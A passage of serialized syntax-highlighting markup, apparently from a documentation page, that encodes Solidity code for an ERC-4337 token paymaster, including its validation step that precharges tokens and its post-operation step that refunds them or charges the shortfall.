unchecked",{"type":24,"tag":271,"props":109908,"children":109909},{"style":288},[109910],{"type":29,"value":7145},{"type":24,"tag":271,"props":109912,"children":109913},{"class":273,"line":347},[109914,109919,109924,109928],{"type":24,"tag":271,"props":109915,"children":109916},{"style":3887},[109917],{"type":29,"value":109918}," uint256",{"type":24,"tag":271,"props":109920,"children":109921},{"style":288},[109922],{"type":29,"value":109923}," priceMarkup ",{"type":24,"tag":271,"props":109925,"children":109926},{"style":624},[109927],{"type":29,"value":762},{"type":24,"tag":271,"props":109929,"children":109930},{"style":288},[109931],{"type":29,"value":109932}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":271,"props":109934,"children":109935},{"class":273,"line":356},[109936,109940,109945,109949],{"type":24,"tag":271,"props":109937,"children":109938},{"style":3887},[109939],{"type":29,"value":109918},{"type":24,"tag":271,"props":109941,"children":109942},{"style":288},[109943],{"type":29,"value":109944}," baseFee ",{"type":24,"tag":271,"props":109946,"children":109947},{"style":624},[109948],{"type":29,"value":762},{"type":24,"tag":271,"props":109950,"children":109951},{"style":288},[109952],{"type":29,"value":109953}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":271,"props":109955,"children":109956},{"class":273,"line":365},[109957,109961,109966,109970,109975,109979],{"type":24,"tag":271,"props":109958,"children":109959},{"style":3887},[109960],{"type":29,"value":109918},{"type":24,"tag":271,"props":109962,"children":109963},{"style":288},[109964],{"type":29,"value":109965}," dataLength ",{"type":24,"tag":271,"props":109967,"children":109968},{"style":624},[109969],{"type":29,"value":762},{"type":24,"tag":271,"props":109971,"children":109972},{"style":288},[109973],{"type":29,"value":109974}," userOp.paymasterAndData.length ",{"type":24,"tag":271,"props":109976,"children":109977},{"style":624},[109978],{"type":29,"value":9821},{"type":24,"tag":271,"props":109980,"children":109981},{"style":288},[109982],{"type":29,"value":109983}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":271,"props":109985,"children":109986},{"class":273,"line":374},[109987,109992,109997,110001,110005,110009,110013,110017,110022,110026,110031],{"type":24,"tag":271,"props":109988,"children":109989},{"style":749},[109990],{"type":29,"value":109991}," require",{"type":24,"tag":271,"props":109993,"children":109994},{"style":288},[109995],{"type":29,"value":109996},"(dataLength ",{"type":24,"tag":271,"props":109998,"children":109999},{"style":624},[110000],{"type":29,"value":5059},{"type":24,"tag":271,"props":110002,"children":110003},{"style":477},[110004],{"type":29,"value":767},{"type":24,"tag":271,"props":110006,"children":110007},{"style":624},[110008],{"type":29,"value":2675},{"type":24,"tag":271,"props":110010,"children":110011},{"style":288},[110012],{"type":29,"value":109965},{"type":24,"tag":271,"props":110014,"children":110015},{"style":624},[110016],{"type":29,"value":5059},{"type":24,"tag":271,"props":110018,"children":110019},{"style":477},[110020],{"type":29,"value":110021}," 32",{"type":24,"tag":271,"props":110023,"children":110024},{"style":288},[110025],{"type":29,"value":158},{"type":24,"tag":271,"props":110027,"children":110028},{"style":378},[110029],{"type":29,"value":110030},"\"TPM: invalid data length\"",{"type":24,"tag":271,"props":110032,"children":110033},{"style":288},[110034],{"type":29,"value":1155},{"type":24,"tag":271,"props":110036,"children":110037},{"class":273,"line":384},[110038,110042,110047,110051,110056,110061],{"type":24,"tag":271,"props":110039,"children":110040},{"style":3887},[110041],{"type":29,"value":109918},{"type":24,"tag":271,"props":110043,"children":110044},{"style":288},[110045],{"type":29,"value":110046}," maxFeePerGas ",{"type":24,"tag":271,"props":110048,"children":110049},{"style":624},[110050],{"type":29,"value":762},{"type":24,"tag":271,"props":110052,"children":110053},{"style":288},[110054],{"type":29,"value":110055}," userOp.",{"type":24,"tag":271,"props":110057,"children":110058},{"style":598},[110059],{"type":29,"value":110060},"unpackMaxFeePerGas",{"type":24,"tag":271,"props":110062,"children":110063},{"style":288},[110064],{"type":29,"value":4230},{"type":24,"tag":271,"props":110066,"children":110067},{"class":273,"line":393},[110068,110072,110077,110081],{"type":24,"tag":271,"props":110069,"children":110070},{"style":3887},[110071],{"type":29,"value":109918},{"type":24,"tag":271,"props":110073,"children":110074},{"style":288},[110075],{"type":29,"value":110076}," refundPostopCost ",{"type":24,"tag":271,"props":110078,"children":110079},{"style":624},[110080],{"type":29,"value":762},{"type":24,"tag":271,"props":110082,"children":110083},{"style":288},[110084],{"type":29,"value":110085}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":271,"props":110087,"children":110088},{"class":273,"line":402},[110089,110093,110098,110102,110106,110111,110115,110120],{"type":24,"tag":271,"props":110090,"children":110091},{"style":749},[110092],{"type":29,"value":109991},{"type":24,"tag":271,"props":110094,"children":110095},{"style":288},[110096],{"type":29,"value":110097},"(refundPostopCost ",{"type":24,"tag":271,"props":110099,"children":110100},{"style":624},[110101],{"type":29,"value":801},{"type":24,"tag":271,"props":110103,"children":110104},{"style":288},[110105],{"type":29,"value":110055},{"type":24,"tag":271,"props":110107,"children":110108},{"style":598},[110109],{"type":29,"value":110110},"unpackPostOpGasLimit",{"type":24,"tag":271,"props":110112,"children":110113},{"style":288},[110114],{"type":29,"value":26067},{"type":24,"tag":271,"props":110116,"children":110117},{"style":378},[110118],{"type":29,"value":110119},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":271,"props":110121,"children":110122},{"style":288},[110123],{"type":29,"value":1155},{"type":24,"tag":271,"props":110125,"children":110126},{"class":273,"line":411},[110127,110131,110136,110140,110145,110149,110154,110158],{"type":24,"tag":271,"props":110128,"children":110129},{"style":3887},[110130],{"type":29,"value":109918},{"type":24,"tag":271,"props":110132,"children":110133},{"style":288},[110134],{"type":29,"value":110135}," preChargeNative ",{"type":24,"tag":271,"props":110137,"children":110138},{"style":624},[110139],{"type":29,"value":762},{"type":24,"tag":271,"props":110141,"children":110142},{"style":288},[110143],{"type":29,"value":110144}," requiredPreFund ",{"type":24,"tag":271,"props":110146,"children":110147},{"style":624},[110148],{"type":29,"value":1012},{"type":24,"tag":271,"props":110150,"children":110151},{"style":288},[110152],{"type":29,"value":110153}," (refundPostopCost ",{"type":24,"tag":271,"props":110155,"children":110156},{"style":624},[110157],{"type":29,"value":627},{"type":24,"tag":271,"props":110159,"children":110160},{"style":288},[110161],{"type":29,"value":110162}," maxFeePerGas);\n",{"type":24,"tag":271,"props":110164,"children":110165},{"class":273,"line":420},[110166,110171,110175],{"type":24,"tag":271,"props":110167,"children":110168},{"style":2058},[110169],{"type":29,"value":110170}," // ",{"type":24,"tag":271,"props":110172,"children":110173},{"style":278},[110174],{"type":29,"value":73546},{"type":24,"tag":271,"props":110176,"children":110177},{"style":2058},[110178],{"type":29,"value":110179},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":271,"props":110181,"children":110182},{"class":273,"line":429},[110183,110187,110192,110196,110201,110205,110210,110214],{"type":24,"tag":271,"props":110184,"children":110185},{"style":3887},[110186],{"type":29,"value":109918},{"type":24,"tag":271,"props":110188,"children":110189},{"style":288},[110190],{"type":29,"value":110191}," cachedPriceWithMarkup ",{"type":24,"tag":271,"props":110193,"children":110194},{"style":624},[110195],{"type":29,"value":762},{"type":24,"tag":271,"props":110197,"children":110198},{"style":288},[110199],{"type":29,"value":110200}," cachedPrice ",{"type":24,"tag":271,"props":110202,"children":110203},{"style":624},[110204],{"type":29,"value":627},{"type":24,"tag":271,"props":110206,"children":110207},{"style":288},[110208],{"type":29,"value":110209}," DENOM ",{"type":24,"tag":271,"props":110211,"children":110212},{"style":624},[110213],{"type":29,"value":12298},{"type":24,"tag":271,"props":110215,"children":110216},{"style":288},[110217],{"type":29,"value":110218}," priceMarkup;\n",{"type":24,"tag":271,"props":110220,"children":110221},{"class":273,"line":438},[110222,110226,110231,110235,110239],{"type":24,"tag":271,"props":110223,"children":110224},{"style":749},[110225],{"type":29,"value":8468},{"type":24,"tag":271,"props":110227,"children":110228},{"style":288},[110229],{"type":29,"value":110230}," (dataLength ",{"type":24,"tag":271,"props":110232,"children":110233},{"style":624},[110234],{"type":29,"value":5059},{"type":24,"tag":271,"props":110236,"children":110237},{"style":477},[110238],{"type":29,"value":110021},{"type":24,"tag":271,"props":110240,"children":110241},{"style":288},[110242],{"type":29,"value":919},{"type":24,"tag":271,"props":110244,"children":110245},{"class":273,"line":447},[110246,110251,110256],{"type":24,"tag":271,"props":110247,"children":110248},{"style":3887},[110249],{"type":29,"value":110250}," uint256",{"type":24,"tag":271,"props":110252,"children":110253},{"style":288},[110254],{"type":29,"value":110255}," clientSuppliedPrice ",{"type":24,"tag":271,"props":110257,"children":110258},{"style":624},[110259],{"type":29,"value":22391},{"type":24,"tag":271,"props":110261,"children":110262},{"class":273,"line":455},[110263,110268,110272,110276,110281,110285,110290,110294,110298],{"type":24,"tag":271,"props":110264,"children":110265},{"style":3887},[110266],{"type":29,"value":110267}," uint256",{"type":24,"tag":271,"props":110269,"children":110270},{"style":288},[110271],{"type":29,"value":606},{"type":24,"tag":271,"props":110273,"children":110274},{"style":3887},[110275],{"type":29,"value":109816},{"type":24,"tag":271,"props":110277,"children":110278},{"style":288},[110279],{"type":29,"value":110280},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":271,"props":110282,"children":110283},{"style":624},[110284],{"type":29,"value":12210},{"type":24,"tag":271,"props":110286,"children":110287},{"style":288},[110288],{"type":29,"value":110289},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":271,"props":110291,"children":110292},{"style":624},[110293],{"type":29,"value":1012},{"type":24,"tag":271,"props":110295,"children":110296},{"style":477},[110297],{"type":29,"value":110021},{"type":24,"tag":271,"props":110299,"children":110300},{"style":288},[110301],{"type":29,"value":110302},"]));\n",{"type":24,"tag":271,"props":110304,"children":110305},{"class":273,"line":464},[110306,110311,110316,110320],{"type":24,"tag":271,"props":110307,"children":110308},{"style":749},[110309],{"type":29,"value":110310}," if",{"type":24,"tag":271,"props":110312,"children":110313},{"style":288},[110314],{"type":29,"value":110315}," (clientSuppliedPrice ",{"type":24,"tag":271,"props":110317,"children":110318},{"style":624},[110319],{"type":29,"value":801},{"type":24,"tag":271,"props":110321,"children":110322},{"style":288},[110323],{"type":29,"value":110324}," cachedPriceWithMarkup) {\n",{"type":24,"tag":271,"props":110326,"children":110327},{"class":273,"line":473},[110328,110333,110337],{"type":24,"tag":271,"props":110329,"children":110330},{"style":2058},[110331],{"type":29,"value":110332}," // ",{"type":24,"tag":271,"props":110334,"children":110335},{"style":278},[110336],{"type":29,"value":73546},{"type":24,"tag":271,"props":110338,"children":110339},{"style":2058},[110340],{"type":29,"value":110341},": smaller number means 'more native asset per token'\n",{"type":24,"tag":271,"props":110343,"children":110344},{"class":273,"line":483},[110345,110350,110354],{"type":24,"tag":271,"props":110346,"children":110347},{"style":288},[110348],{"type":29,"value":110349}," cachedPriceWithMarkup ",{"type":24,"tag":271,"props":110351,"children":110352},{"style":624},[110353],{"type":29,"value":762},{"type":24,"tag":271,"props":110355,"children":110356},{"style":288},[110357],{"type":29,"value":110358}," clientSuppliedPrice;\n",{"type":24,"tag":271,"props":110360,"children":110361},{"class":273,"line":491},[110362],{"type":24,"tag":271,"props":110363,"children":110364},{"style":288},[110365],{"type":29,"value":77859},{"type":24,"tag":271,"props":110367,"children":110368},{"class":273,"line":499},[110369],{"type":24,"tag":271,"props":110370,"children":110371},{"style":288},[110372],{"type":29,"value":8554},{"type":24,"tag":271,"props":110374,"children":110375},{"class":273,"line":3188},[110376,110380,110385,110389,110394],{"type":24,"tag":271,"props":110377,"children":110378},{"style":3887},[110379],{"type":29,"value":109918},{"type":24,"tag":271,"props":110381,"children":110382},{"style":288},[110383],{"type":29,"value":110384}," tokenAmount ",{"type":24,"tag":271,"props":110386,"children":110387},{"style":624},[110388],{"type":29,"value":762},{"type":24,"tag":271,"props":110390,"children":110391},{"style":598},[110392],{"type":29,"value":110393}," weiToToken",{"type":24,"tag":271,"props":110395,"children":110396},{"style":288},[110397],{"type":29,"value":110398},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":271,"props":110400,"children":110401},{"class":273,"line":3247},[110402,110407,110411],{"type":24,"tag":271,"props":110403,"children":110404},{"style":288},[110405],{"type":29,"value":110406}," tokenAmount ",{"type":24,"tag":271,"props":110408,"children":110409},{"style":624},[110410],{"type":29,"value":75225},{"type":24,"tag":271,"props":110412,"children":110413},{"style":288},[110414],{"type":29,"value":110415}," baseFee;\n",{"type":24,"tag":271,"props":110417,"children":110418},{"class":273,"line":3255},[110419,110424,110429,110434,110438,110442,110446],{"type":24,"tag":271,"props":110420,"children":110421},{"style":288},[110422],{"type":29,"value":110423}," SafeERC20.",{"type":24,"tag":271,"props":110425,"children":110426},{"style":598},[110427],{"type":29,"value":110428},"safeTransferFrom",{"type":24,"tag":271,"props":110430,"children":110431},{"style":288},[110432],{"type":29,"value":110433},"(token, userOp.sender, ",{"type":24,"tag":271,"props":110435,"children":110436},{"style":3887},[110437],{"type":29,"value":40311},{"type":24,"tag":271,"props":110439,"children":110440},{"style":288},[110441],{"type":29,"value":606},{"type":24,"tag":271,"props":110443,"children":110444},{"style":278},[110445],{"type":29,"value":25385},{"type":24,"tag":271,"props":110447,"children":110448},{"style":288},[110449],{"type":29,"value":110450},"), tokenAmount);\n",{"type":24,"tag":271,"props":110452,"children":110453},{"class":273,"line":3263},[110454,110459,110463,110468,110472,110477],{"type":24,"tag":271,"props":110455,"children":110456},{"style":288},[110457],{"type":29,"value":110458}," context ",{"type":24,"tag":271,"props":110460,"children":110461},{"style":624},[110462],{"type":29,"value":762},{"type":24,"tag":271,"props":110464,"children":110465},{"style":278},[110466],{"type":29,"value":110467}," abi",{"type":24,"tag":271,"props":110469,"children":110470},{"style":288},[110471],{"type":29,"value":41},{"type":24,"tag":271,"props":110473,"children":110474},{"style":598},[110475],{"type":29,"value":110476},"encode",{"type":24,"tag":271,"props":110478,"children":110479},{"style":288},[110480],{"type":29,"value":110481},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":271,"props":110483,"children":110484},{"class":273,"line":3293},[110485,110490],{"type":24,"tag":271,"props":110486,"children":110487},{"style":288},[110488],{"type":29,"value":110489}," validationResult ",{"type":24,"tag":271,"props":110491,"children":110492},{"style":624},[110493],{"type":29,"value":22391},{"type":24,"tag":271,"props":110495,"children":110496},{"class":273,"line":3301},[110497,110502,110506,110510,110514,110519,110524,110528,110533,110537],{"type":24,"tag":271,"props":110498,"children":110499},{"style":598},[110500],{"type":29,"value":110501}," _packValidationData",{"type":24,"tag":271,"props":110503,"children":110504},{"style":288},[110505],{"type":29,"value":606},{"type":24,"tag":271,"props":110507,"children":110508},{"style":278},[110509],{"type":29,"value":15890},{"type":24,"tag":271,"props":110511,"children":110512},{"style":288},[110513],{"type":29,"value":158},{"type":24,"tag":271,"props":110515,"children":110516},{"style":3887},[110517],{"type":29,"value":110518},"uint48",{"type":24,"tag":271,"props":110520,"children":110521},{"style":288},[110522],{"type":29,"value":110523},"(cachedPriceTimestamp ",{"type":24,"tag":271,"props":110525,"children":110526},{"style":624},[110527],{"type":29,"value":1012},{"type":24,"tag":271,"props":110529,"children":110530},{"style":288},[110531],{"type":29,"value":110532}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":271,"props":110534,"children":110535},{"style":477},[110536],{"type":29,"value":4121},{"type":24,"tag":271,"props":110538,"children":110539},{"style":288},[110540],{"type":29,"value":1155},{"type":24,"tag":271,"props":110542,"children":110543},{"class":273,"line":3683},[110544],{"type":24,"tag":271,"props":110545,"children":110546},{"style":288},[110547],{"type":29,"value":7574},{"type":24,"tag":271,"props":110549,"children":110550},{"class":273,"line":4486},[110551],{"type":24,"tag":271,"props":110552,"children":110553},{"style":288},[110554],{"type":29,"value":4385},{"type":24,"tag":271,"props":110556,"children":110557},{"class":273,"line":4509},[110558],{"type":24,"tag":271,"props":110559,"children":110560},{"style":288},[110561],{"type":29,"value":1690},{"type":24,"tag":271,"props":110563,"children":110564},{"class":273,"line":4545},[110565,110569,110574,110578,110583,110587,110591,110595,110599,110603,110607,110612,110616,110620,110625],{"type":24,"tag":271,"props":110566,"children":110567},{"style":278},[110568],{"type":29,"value":96621},{"type":24,"tag":271,"props":110570,"children":110571},{"style":598},[110572],{"type":29,"value":110573}," _postOp",{"type":24,"tag":271,"props":110575,"children":110576},{"style":288},[110577],{"type":29,"value":606},{"type":24,"tag":271,"props":110579,"children":110580},{"style":278},[110581],{"type":29,"value":110582},"PostOpMode",{"type":24,"tag":271,"props":110584,"children":110585},{"style":288},[110586],{"type":29,"value":158},{"type":24,"tag":271,"props":110588,"children":110589},{"style":3887},[110590],{"type":29,"value":90618},{"type":24,"tag":271,"props":110592,"children":110593},{"style":278},[110594],{"type":29,"value":109802},{"type":24,"tag":271,"props":110596,"children":110597},{"style":630},[110598],{"type":29,"value":83130},{"type":24,"tag":271,"props":110600,"children":110601},{"style":288},[110602],{"type":29,"value":158},{"type":24,"tag":271,"props":110604,"children":110605},{"style":3887},[110606],{"type":29,"value":53835},{"type":24,"tag":271,"props":110608,"children":110609},{"style":630},[110610],{"type":29,"value":110611}," actualGasCost",{"type":24,"tag":271,"props":110613,"children":110614},{"style":288},[110615],{"type":29,"value":158},{"type":24,"tag":271,"props":110617,"children":110618},{"style":3887},[110619],{"type":29,"value":53835},{"type":24,"tag":271,"props":110621,"children":110622},{"style":630},[110623],{"type":29,"value":110624}," actualUserOpFeePerGas",{"type":24,"tag":271,"props":110626,"children":110627},{"style":288},[110628],{"type":29,"value":694},{"type":24,"tag":271,"props":110630,"children":110631},{"class":273,"line":4591},[110632],{"type":24,"tag":271,"props":110633,"children":110634},{"style":278},[110635],{"type":29,"value":109841},{"type":24,"tag":271,"props":110637,"children":110638},{"class":273,"line":4628},[110639],{"type":24,"tag":271,"props":110640,"children":110641},{"style":278},[110642],{"type":29,"value":109849},{"type":24,"tag":271,"props":110644,"children":110645},{"class":273,"line":4658},[110646],{"type":24,"tag":271,"props":110647,"children":110648},{"style":288},[110649],{"type":29,"value":4203},{"type":24,"tag":271,"props":110651,"children":110652},{"class":273,"line":4666},[110653,110657],{"type":24,"tag":271,"props":110654,"children":110655},{"style":749},[110656],{"type":29,"value":109906},{"type":24,"tag":271,"props":110658,"children":110659},{"style":288},[110660],{"type":29,"value":7145},{"type":24,"tag":271,"props":110662,"children":110663},{"class":273,"line":4674},[110664,110668,110672,110676],{"type":24,"tag":271,"props":110665,"children":110666},{"style":3887},[110667],{"type":29,"value":109918},{"type":24,"tag":271,"props":110669,"children":110670},{"style":288},[110671],{"type":29,"value":109923},{"type":24,"tag":271,"props":110673,"children":110674},{"style":624},[110675],{"type":29,"value":762},{"type":24,"tag":271,"props":110677,"children":110678},{"style":288},[110679],{"type":29,"value":109932},{"type":24,"tag":271,"props":110681,"children":110682},{"class":273,"line":4683},[110683,110687,110691,110695],{"type":24,"tag":271,"props":110684,"children":110685},{"style":3887},[110686],{"type":29,"value":109918},{"type":24,"tag":271,"props":110688,"children":110689},{"style":288},[110690],{"type":29,"value":109944},{"type":24,"tag":271,"props":110692,"children":110693},{"style":624},[110694],{"type":29,"value":762},{"type":24,"tag":271,"props":110696,"children":110697},{"style":288},[110698],{"type":29,"value":109953},{"type":24,"tag":271,"props":110700,"children":110701},{"class":273,"line":4691},[110702,110707,110711,110716,110720,110725,110729,110733,110737,110742,110747,110751,110755,110759],{"type":24,"tag":271,"props":110703,"children":110704},{"style":288},[110705],{"type":29,"value":110706}," (",{"type":24,"tag":271,"props":110708,"children":110709},{"style":3887},[110710],{"type":29,"value":53835},{"type":24,"tag":271,"props":110712,"children":110713},{"style":288},[110714],{"type":29,"value":110715}," preCharge, ",{"type":24,"tag":271,"props":110717,"children":110718},{"style":3887},[110719],{"type":29,"value":40311},{"type":24,"tag":271,"props":110721,"children":110722},{"style":288},[110723],{"type":29,"value":110724}," userOpSender) ",{"type":24,"tag":271,"props":110726,"children":110727},{"style":624},[110728],{"type":29,"value":762},{"type":24,"tag":271,"props":110730,"children":110731},{"style":278},[110732],{"type":29,"value":110467},{"type":24,"tag":271,"props":110734,"children":110735},{"style":288},[110736],{"type":29,"value":41},{"type":24,"tag":271,"props":110738,"children":110739},{"style":598},[110740],{"type":29,"value":110741},"decode",{"type":24,"tag":271,"props":110743,"children":110744},{"style":288},[110745],{"type":29,"value":110746},"(context, (",{"type":24,"tag":271,"props":110748,"children":110749},{"style":3887},[110750],{"type":29,"value":53835},{"type":24,"tag":271,"props":110752,"children":110753},{"style":288},[110754],{"type":29,"value":158},{"type":24,"tag":271,"props":110756,"children":110757},{"style":3887},[110758],{"type":29,"value":40311},{"type":24,"tag":271,"props":110760,"children":110761},{"style":288},[110762],{"type":29,"value":5811},{"type":24,"tag":271,"props":110764,"children":110765},{"class":273,"line":4708},[110766,110771,110776,110781],{"type":24,"tag":271,"props":110767,"children":110768},{"style":288},[110769],{"type":29,"value":110770}," preCharge ",{"type":24,"tag":271,"props":110772,"children":110773},{"style":624},[110774],{"type":29,"value":110775},"-=",{"type":24,"tag":271,"props":110777,"children":110778},{"style":288},[110779],{"type":29,"value":110780}," baseFee; ",{"type":24,"tag":271,"props":110782,"children":110783},{"style":2058},[110784],{"type":29,"value":110785},"// don't refund the base fee\n",{"type":24,"tag":271,"props":110787,"children":110788},{"class":273,"line":4716},[110789,110793,110798,110802,110807,110811,110815],{"type":24,"tag":271,"props":110790,"children":110791},{"style":3887},[110792],{"type":29,"value":109918},{"type":24,"tag":271,"props":110794,"children":110795},{"style":288},[110796],{"type":29,"value":110797}," _cachedPrice ",{"type":24,"tag":271,"props":110799,"children":110800},{"style":624},[110801],{"type":29,"value":762},{"type":24,"tag":271,"props":110803,"children":110804},{"style":598},[110805],{"type":29,"value":110806}," updateCachedPrice",{"type":24,"tag":271,"props":110808,"children":110809},{"style":288},[110810],{"type":29,"value":606},{"type":24,"tag":271,"props":110812,"children":110813},{"style":278},[110814],{"type":29,"value":15890},{"type":24,"tag":271,"props":110816,"children":110817},{"style":288},[110818],{"type":29,"value":1155},{"type":24,"tag":271,"props":110820,"children":110821},{"class":273,"line":10423},[110822,110826,110830],{"type":24,"tag":271,"props":110823,"children":110824},{"style":2058},[110825],{"type":29,"value":110170},{"type":24,"tag":271,"props":110827,"children":110828},{"style":278},[110829],{"type":29,"value":73546},{"type":24,"tag":271,"props":110831,"children":110832},{"style":2058},[110833],{"type":29,"value":110179},{"type":24,"tag":271,"props":110835,"children":110836},{"class":273,"line":10431},[110837,110841,110845,110849,110853,110857,110861,110865],{"type":24,"tag":271,"props":110838,"children":110839},{"style":3887},[110840],{"type":29,"value":109918},{"type":24,"tag":271,"props":110842,"children":110843},{"style":288},[110844],{"type":29,"value":110191},{"type":24,"tag":271,"props":110846,"children":110847},{"style":624},[110848],{"type":29,"value":762},{"type":24,"tag":271,"props":110850,"children":110851},{"style":288},[110852],{"type":29,"value":110797},{"type":24,"tag":271,"props":110854,"children":110855},{"style":624},[110856],{"type":29,"value":627},{"type":24,"tag":271,"props":110858,"children":110859},{"style":288},[110860],{"type":29,"value":110209},{"type":24,"tag":271,"props":110862,"children":110863},{"style":624},[110864],{"type":29,"value":12298},{"type":24,"tag":271,"props":110866,"children":110867},{"style":288},[110868],{"type":29,"value":110218},{"type":24,"tag":271,"props":110870,"children":110871},{"class":273,"line":10439},[110872],{"type":24,"tag":271,"props":110873,"children":110874},{"style":2058},[110875],{"type":29,"value":110876}," // Refund tokens based on actual gas cost\n",{"type":24,"tag":271,"props":110878,"children":110879},{"class":273,"line":10447},[110880,110884,110889,110893,110898,110902,110907,110911],{"type":24,"tag":271,"props":110881,"children":110882},{"style":3887},[110883],{"type":29,"value":109918},{"type":24,"tag":271,"props":110885,"children":110886},{"style":288},[110887],{"type":29,"value":110888}," actualChargeNative ",{"type":24,"tag":271,"props":110890,"children":110891},{"style":624},[110892],{"type":29,"value":762},{"type":24,"tag":271,"props":110894,"children":110895},{"style":288},[110896],{"type":29,"value":110897}," actualGasCost ",{"type":24,"tag":271,"props":110899,"children":110900},{"style":624},[110901],{"type":29,"value":1012},{"type":24,"tag":271,"props":110903,"children":110904},{"style":288},[110905],{"type":29,"value":110906}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":271,"props":110908,"children":110909},{"style":624},[110910],{"type":29,"value":627},{"type":24,"tag":271,"props":110912,"children":110913},{"style":288},[110914],{"type":29,"value":110915}," actualUserOpFeePerGas;\n",{"type":24,"tag":271,"props":110917,"children":110918},{"class":273,"line":10468},[110919,110923,110928,110932,110936],{"type":24,"tag":271,"props":110920,"children":110921},{"style":3887},[110922],{"type":29,"value":109918},{"type":24,"tag":271,"props":110924,"children":110925},{"style":288},[110926],{"type":29,"value":110927}," actualTokenNeeded ",{"type":24,"tag":271,"props":110929,"children":110930},{"style":624},[110931],{"type":29,"value":762},{"type":24,"tag":271,"props":110933,"children":110934},{"style":598},[110935],{"type":29,"value":110393},{"type":24,"tag":271,"props":110937,"children":110938},{"style":288},[110939],{"type":29,"value":110940},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":271,"props":110942,"children":110943},{"class":273,"line":39951},[110944,110948,110953,110957],{"type":24,"tag":271,"props":110945,"children":110946},{"style":749},[110947],{"type":29,"value":8468},{"type":24,"tag":271,"props":110949,"children":110950},{"style":288},[110951],{"type":29,"value":110952}," (preCharge ",{"type":24,"tag":271,"props":110954,"children":110955},{"style":624},[110956],{"type":29,"value":18165},{"type":24,"tag":271,"props":110958,"children":110959},{"style":288},[110960],{"type":29,"value":110961}," actualTokenNeeded) {\n",{"type":24,"tag":271,"props":110963,"children":110964},{"class":273,"line":39972},[110965],{"type":24,"tag":271,"props":110966,"children":110967},{"style":2058},[110968],{"type":29,"value":110969}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":271,"props":110971,"children":110972},{"class":273,"line":87741},[110973,110978,110983,110988,110992],{"type":24,"tag":271,"props":110974,"children":110975},{"style":288},[110976],{"type":29,"value":110977}," SafeERC20.",{"type":24,"tag":271,"props":110979,"children":110980},{"style":598},[110981],{"type":29,"value":110982},"safeTransfer",{"type":24,"tag":271,"props":110984,"children":110985},{"style":288},[110986],{"type":29,"value":110987},"(token, userOpSender, preCharge ",{"type":24,"tag":271,"props":110989,"children":110990},{"style":624},[110991],{"type":29,"value":9821},{"type":24,"tag":271,"props":110993,"children":110994},{"style":288},[110995],{"type":29,"value":110996}," actualTokenNeeded);\n",{"type":24,"tag":271,"props":110998,"children":110999},{"class":273,"line":87754},[111000,111004,111008,111012,111016,111020],{"type":24,"tag":271,"props":111001,"children":111002},{"style":288},[111003],{"type":29,"value":77382},{"type":24,"tag":271,"props":111005,"children":111006},{"style":749},[111007],{"type":29,"value":11044},{"type":24,"tag":271,"props":111009,"children":111010},{"style":749},[111011],{"type":29,"value":1352},{"type":24,"tag":271,"props":111013,"children":111014},{"style":288},[111015],{"type":29,"value":110952},{"type":24,"tag":271,"props":111017,"children":111018},{"style":624},[111019],{"type":29,"value":801},{"type":24,"tag":271,"props":111021,"children":111022},{"style":288},[111023],{"type":29,"value":110961},{"type":24,"tag":271,"props":111025,"children":111026},{"class":273,"line":87762},[111027],{"type":24,"tag":271,"props":111028,"children":111029},{"style":2058},[111030],{"type":29,"value":111031}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":271,"props":111033,"children":111034},{"class":273,"line":87770},[111035],{"type":24,"tag":271,"props":111036,"children":111037},{"style":2058},[111038],{"type":29,"value":111039}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":271,"props":111041,"children":111042},{"class":273,"line":87778},[111043,111047,111051,111056,111060,111064,111068,111073,111077],{"type":24,"tag":271,"props":111044,"children":111045},{"style":288},[111046],{"type":29,"value":110977},{"type":24,"tag":271,"props":111048,"children":111049},{"style":598},[111050],{"type":29,"value":110428},{"type":24,"tag":271,"props":111052,"children":111053},{"style":288},[111054],{"type":29,"value":111055},"(token, userOpSender, ",{"type":24,"tag":271,"props":111057,"children":111058},{"style":3887},[111059],{"type":29,"value":40311},{"type":24,"tag":271,"props":111061,"children":111062},{"style":288},[111063],{"type":29,"value":606},{"type":24,"tag":271,"props":111065,"children":111066},{"style":278},[111067],{"type":29,"value":25385},{"type":24,"tag":271,"props":111069,"children":111070},{"style":288},[111071],{"type":29,"value":111072},"), actualTokenNeeded ",{"type":24,"tag":271,"props":111074,"children":111075},{"style":624},[111076],{"type":29,"value":9821},{"type":24,"tag":271,"props":111078,"children":111079},{"style":288},[111080],{"type":29,"value":111081}," preCharge);\n",{"type":24,"tag":271,"props":111083,"children":111084},{"class":273,"line":87818},[111085],{"type":24,"tag":271,"props":111086,"children":111087},{"style":288},[111088],{"type":29,"value":8554},{"type":24,"tag":271,"props":111090,"children":111091},{"class":273,"line":87826},[111092],{"type":24,"tag":271,"props":111093,"children":111094},{"emptyLinePlaceholder":16},[111095],{"type":29,"value":327},{"type":24,"tag":271,"props":111097,"children":111098},{"class":273,"line":95013},[111099,111103,111108,111112,111116],{"type":24,"tag":271,"props":111100,"children":111101},{"style":749},[111102],{"type":29,"value":8468},{"type":24,"tag":271,"props":111104,"children":111105},{"style":288},[111106],{"type":29,"value":111107}," (baseFee 